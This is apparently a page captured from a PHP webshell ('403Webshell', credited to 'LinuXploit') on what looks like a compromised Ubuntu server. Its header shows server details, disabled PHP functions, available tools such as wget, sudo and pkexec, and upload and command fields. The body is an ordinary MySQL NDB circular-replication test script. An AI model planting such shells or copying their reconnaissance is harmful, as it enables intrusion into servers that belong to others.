403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.69.176.80
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb_rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb_rpl/t/ndb_rpl_circular.test
# The include statement below is a temp one for tests that are yet to
#be ported to run with InnoDB,
#but needs to be kept for tests that would need MyISAM in future.
--source include/force_myisam_default.inc

--source include/have_ndb.inc

# set up circular replication
--let $rpl_topology= 1->2->1
--source include/rpl_init.inc

--let $rpl_connection_name= master
--let $rpl_server_number= 1
--source include/rpl_connect.inc

--let $rpl_connection_name= slave
--let $rpl_server_number= 2
--source include/rpl_connect.inc


# create the table on the "slave"
--connection slave
CREATE TABLE t1 (a int key, b int) ENGINE=ndb;
#CREATE TABLE t2 (a int key, b int) ENGINE=ndb;
sync_slave_with_master master;
# now we should have a table on the master as well
SHOW TABLES;

# insert some values on the slave and master
--connection master
INSERT INTO t1 VALUES (1,2);
# Give time to propagate + close epoch, to ensure deterministic Binlog contents
--sleep 1
--connection slave
INSERT INTO t1 VALUES (2,3);

# ensure data has propagated both ways
--connection slave
sync_slave_with_master master;
--sync_slave_with_master

# connect to slave and ensure data it there.
--connection slave
SELECT * FROM t1 ORDER BY a;
#SELECT * FROM t2 ORDER BY a;

# Check slave has no errors and are running
--source include/check_slave_no_error.inc
--source include/check_slave_is_running.inc

--echo Slave Binlog contains all ops as log_slave_updates is on
show variables like 'server_id';
show variables like 'log_bin';
show variables like 'log_slave_updates';
--source include/show_binlog_events.inc

source include/check_slave_is_running.inc;
# connect to master and ensure data it there.
--connection master
SELECT * FROM t1 ORDER BY a;
#SELECT * FROM t2 ORDER BY a;
source include/check_slave_is_running.inc;

--echo Master Binlog contains only Master ops as log_slave_updates is off
show variables like 'server_id';
show variables like 'log_bin';
show variables like 'log_slave_updates';
--source include/show_binlog_events.inc

# stop replication on "master" as not to replicate
# shutdown circularly, eg drop table
--connection master
STOP SLAVE;

# cleanup
--connection master
DROP TABLE t1;
-- sync_slave_with_master

# Test ndb_log_apply_status option

--connection master
start slave;
create table t1 (a int primary key, b int) engine=ndb;
show variables like '%log_orig%';

--echo 'Master' has only slave's serverid entry 
select server_id, log_name from mysql.ndb_apply_status order by server_id;

set global ndb_log_apply_status=On;
show variables like 'ndb_log_apply_status';

--connection slave
--echo 'Slave' has only Master's serverid entry
select server_id, log_name from mysql.ndb_apply_status order by server_id;
--echo 'Slave' has following ndb_binlog_index entries
select inserts, updates, deletes, schemaops, orig_server_id from mysql.ndb_binlog_index order by position;

set global ndb_log_apply_status=On;
show variables like 'ndb_log_apply_status';

--connection master

stop slave;
insert into t1 values (1,1);
--sync_slave_with_master

--connection slave
--echo 'Slave' still has only Master's serverid entry
select server_id, log_name from mysql.ndb_apply_status order by server_id;

--disable_result_log
--source include/wait_for_ndb_committed_to_binlog.inc
--enable_result_log
--echo 'Slave' has following ndb_binlog_index entries
select inserts, updates, deletes, schemaops, orig_server_id from mysql.ndb_binlog_index order by position;

--connection master
--echo 'Master' still has only Slave's serverid entry
select server_id, log_name from mysql.ndb_apply_status order by server_id;

start slave;
--connection slave 
--sync_slave_with_master master

--connection master
--echo 'Master' now has own serverid entry as well.
select server_id, log_name from mysql.ndb_apply_status order by server_id;

--connection slave
--echo 'Slave' still only has 'Master''s serverid entry
select server_id, log_name from mysql.ndb_apply_status order by server_id;
--echo Now create event originating at Slave
insert into t1 values (2,2);
--sync_slave_with_master master

--connection master
--sync_slave_with_master slave

--connection slave
--echo 'Slave' now also has its own serverid entry
select server_id, log_name from mysql.ndb_apply_status order by server_id;


--connection master
stop slave;
set global ndb_log_apply_status=off;

--connection slave
set global ndb_log_apply_status=off;
stop slave;

drop table t1;

--connection master

drop table t1;

--let $rpl_only_running_threads= 1
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit